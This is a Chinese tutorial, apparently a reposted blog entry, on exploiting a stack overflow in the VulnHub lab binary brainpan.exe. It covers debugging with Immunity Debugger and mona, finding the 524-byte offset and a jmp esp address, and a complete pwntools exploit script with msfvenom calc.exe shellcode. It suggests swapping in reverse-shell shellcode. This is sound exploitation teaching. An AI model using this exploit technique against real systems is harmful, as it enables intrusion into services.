web选手入门pwn(6)
2022-10-12 17:22:3 Author: 珂技知识分享(查看原文) 阅读量:13 收藏

1.    工具和命令
windows上的pwn除了linux的东西之外,还需要准备一些其他东西,Immunity Debugger/OllyDBG,mona.py。

Immunity Debugger/OllyDBG常用命令
F8
步进
F9
运行到下一断点
F2
断点
!mona jmp -r esp -cpb "\x00"
搜索无00的jmp esp

2.    brainpan.exe

http://www.vulnhub.com/entry/brainpan-1,51/
https://github.com/kezibei/pwn_study/blob/main/brainpan.exe
vulnhub上的一个靶机溢出,比较简单适合拿来入门。
首先和linuxpwn一样要确定编译后的文件属性,有无保护等,这里有winchecksec,但网上评价似乎不太好用。
以及区分32位还是64位程序,这里有很多种办法,比如直接双击后去任务管理器看,ida反编译等等。我推荐直接用7zip打开,然后文件——属性。

接下来去ida中看代码。

细心点跟进get_reply,可以发现溢出点strcpy

strcpy的溢出原理非常简单,Destination分配的空间只有520,当传入的Source超过这个值后就会发生栈溢出。
我们实际运行这个程序,可以发现其在9999端口开启了一个tcp服务。

通过nc简单交互如下。

和其他pwn一样,输入超长字符串,发生崩溃,软件会闪退。
那么我们开始调试,用Immunity Debugger加载。

加载文件后弹出brainpan.exe的黑框,此时软件并未运行。界面和OD是一样的,左上汇编,右上寄存器,右下栈。往下翻一翻可以发现strcpy,F2打个断点。

然后F9运行brainpan.exe,nc发送AAAA。
汇编出现蓝色光标,断点成功。
F8单步执行后,栈中出现41414141,此地址被写入eax。

此时和之前学pwn的知识就联系上了,由于存在栈溢出漏洞,可以无限向上写栈,那么0x5FF704也可以写入AAAA,比它高的栈上也一样,可以一直覆盖到返回地址。
返回地址在哪儿呢?ebp的后4位,看寄存器中ebp的地址,0x5FF908,那么返回地址就是0x5FF90C。

计算一下ebp-eax。

和Destination分配的空间一致,因此偏移量为524,手动试一下,用python生成520个A和4个C,nc发送。

EBP被精准的赋值为CCCC,那么payload就是524位的padding加4位地址。
同样的,我们也可以利用那些生成规律字符串的工具帮我们快速定位偏移量。
msf-pattern_create -l 1000
nc发送后直接两个F9引发程序崩溃,此时EIP地址如下。

msf-pattern_offset -q 0x35724134

接下来就是确定返回地址,显然这题没有直接system的后门函数,因此要使用shellcode。回顾一下同样使用shellcode的ret2stack,是将shellcode放在了栈上,这题用同样的方法(windows似乎默认就是栈可执行)试试。
先生成简单的弹计算器shellcode。
msfvenom -p windows/exec cmd="calc.exe" exitfunc=thread -b "\x00" -f c
同样由于不方便在cmd中输入特殊字符,用python来代替nc,网上很多文章都用的python原生socket交互,很显然我们可以在windows上也安装pwntools,不过其没有linux上的好用。

from pwn import *
context.log_level = 'debug'sh = remote('127.0.0.1',9999)print(sh.recv())buf = "\xdd\xc5\xba\x0c\xa4\xa7\xa0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"buf +="\x31\x31\x56\x18\x83\xc6\x04\x03\x56\x18\x46\x52\x5c\xc8\x04"buf +="\x9d\x9d\x08\x69\x17\x78\x39\xa9\x43\x08\x69\x19\x07\x5c\x85"buf +="\xd2\x45\x75\x1e\x96\x41\x7a\x97\x1d\xb4\xb5\x28\x0d\x84\xd4"buf +="\xaa\x4c\xd9\x36\x93\x9e\x2c\x36\xd4\xc3\xdd\x6a\x8d\x88\x70"buf +="\x9b\xba\xc5\x48\x10\xf0\xc8\xc8\xc5\x40\xea\xf9\x5b\xdb\xb5"buf +="\xd9\x5a\x08\xce\x53\x45\x4d\xeb\x2a\xfe\xa5\x87\xac\xd6\xf4"buf +="\x68\x02\x17\x39\x9b\x5a\x5f\xfd\x44\x29\xa9\xfe\xf9\x2a\x6e"buf +="\x7d\x26\xbe\x75\x25\xad\x18\x52\xd4\x62\xfe\x11\xda\xcf\x74"buf +="\x7d\xfe\xce\x59\xf5\xfa\x5b\x5c\xda\x8b\x18\x7b\xfe\xd0\xfb"buf +="\xe2\xa7\xbc\xaa\x1b\xb7\x1f\x12\xbe\xb3\x8d\x47\xb3\x99\xdb"buf +="\x96\x41\xa4\xa9\x99\x59\xa7\x9d\xf1\x68\x2c\x72\x85\x74\xe7"buf +="\x37\x69\x97\x22\x4d\x02\x0e\xa7\xec\x4f\xb1\x1d\x32\x76\x32"buf +="\x94\xca\x8d\x2a\xdd\xcf\xca\xec\x0d\xbd\x43\x99\x31\x12\x63"buf +="\x88\x51\xf5\xf7\x50\xb8\x90\x7f\xf2\xc4"payload = "A"*524 + "\x00\x5F\XF9\x10"[::-1] + bufsh.send(payload)

如图,返回地址成功写入,但0x5FF910地址上并不是我们想象中的shellcode,因此不会成功。
然而再往高位栈上翻一翻,会发现shellcode。

那么修改一下即可成功溢出。

payload = "A"*524 + "\x00\x5F\XFD\x40"[::-1] + buf

这是为什么呢?在shellcode生成的命令中我们用到了-b "\x00"去除坏字符,道理是一样的,strcpy存在00截断,因此005FF910地址不能用。用115FF910和115F0010测试一下就会明白。

115FF910,不存在00,因此5FF910栈被写入shellcode。

115F0010,存在00,被截断在0010。

005FFD40这个地址可能是其他方法压的栈,在本地虽然能够溢出成功,但不稳定,也无法用来做原题,因此我们需要找到其他溢出方法。那就是jmp esp。
jmp esp即为无条件跳转esp指向的地址,而esp由于其特性,始终指向栈顶,因此很稳定,方便我们执行栈中的shellcode。
jmp esp可以用mona插件找出来,同样需要排除坏字符(注意执行后cpu界面会强制置顶,因此需要切换l和c)。
!mona jmp -r esp -cpb "\x00"

这个地址同样可以在ida中的后门函数_winkwink找到。

写出poc。

payload = "A"*524 + "\x31\x17\x12\xF3"[::-1] + buf

F8步进,在ret的时候,观察esp。

jmp esp的时候指向shellcode

成功在栈中执行。

但最后并没有成功,因为还需要在jmp esp和shellcode之间填充一定数量的nop。
最终exp。

from pwn import *
context.log_level = 'debug'sh = remote('127.0.0.1',9999)print(sh.recv())buf = "\xdd\xc5\xba\x0c\xa4\xa7\xa0\xd9\x74\x24\xf4\x5e\x31\xc9\xb1"buf +="\x31\x31\x56\x18\x83\xc6\x04\x03\x56\x18\x46\x52\x5c\xc8\x04"buf +="\x9d\x9d\x08\x69\x17\x78\x39\xa9\x43\x08\x69\x19\x07\x5c\x85"buf +="\xd2\x45\x75\x1e\x96\x41\x7a\x97\x1d\xb4\xb5\x28\x0d\x84\xd4"buf +="\xaa\x4c\xd9\x36\x93\x9e\x2c\x36\xd4\xc3\xdd\x6a\x8d\x88\x70"buf +="\x9b\xba\xc5\x48\x10\xf0\xc8\xc8\xc5\x40\xea\xf9\x5b\xdb\xb5"buf +="\xd9\x5a\x08\xce\x53\x45\x4d\xeb\x2a\xfe\xa5\x87\xac\xd6\xf4"buf +="\x68\x02\x17\x39\x9b\x5a\x5f\xfd\x44\x29\xa9\xfe\xf9\x2a\x6e"buf +="\x7d\x26\xbe\x75\x25\xad\x18\x52\xd4\x62\xfe\x11\xda\xcf\x74"buf +="\x7d\xfe\xce\x59\xf5\xfa\x5b\x5c\xda\x8b\x18\x7b\xfe\xd0\xfb"buf +="\xe2\xa7\xbc\xaa\x1b\xb7\x1f\x12\xbe\xb3\x8d\x47\xb3\x99\xdb"buf +="\x96\x41\xa4\xa9\x99\x59\xa7\x9d\xf1\x68\x2c\x72\x85\x74\xe7"buf +="\x37\x69\x97\x22\x4d\x02\x0e\xa7\xec\x4f\xb1\x1d\x32\x76\x32"buf +="\x94\xca\x8d\x2a\xdd\xcf\xca\xec\x0d\xbd\x43\x99\x31\x12\x63"buf +="\x88\x51\xf5\xf7\x50\xb8\x90\x7f\xf2\xc4"payload = "A"*524 + "\x31\x17\x12\xF3"[::-1] + "\x90"*16 + bufsh.send(payload)

实际做题的时候替换成反弹shell的就行了。

如果没有后门函数提供jmp esp,也可以从系统组件中寻找。
jmp esp汇编对应的16进制符为\xFF\Xe4,在kali中可生成。
msf-nasm_shell
jmp esp

也可以由pwntools获取。
from pwn import *
asm('jmp esp')

mona插件通过16进制并指定文件搜索。
!mona find -s "\xff\xe4" -m "C:\Windows\System32\KERNEL32.DLL"


文章来源: http://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247485666&idx=1&sn=216c268849e319d33ae3a9d12d0d9349&chksm=fa97358dcde0bc9b72a5a7d5d0ad355023d8b9d9a3ef2514c3f5d298244849b60dd0c30416ac#rd
如有侵权请联系:admin#unsafe.sh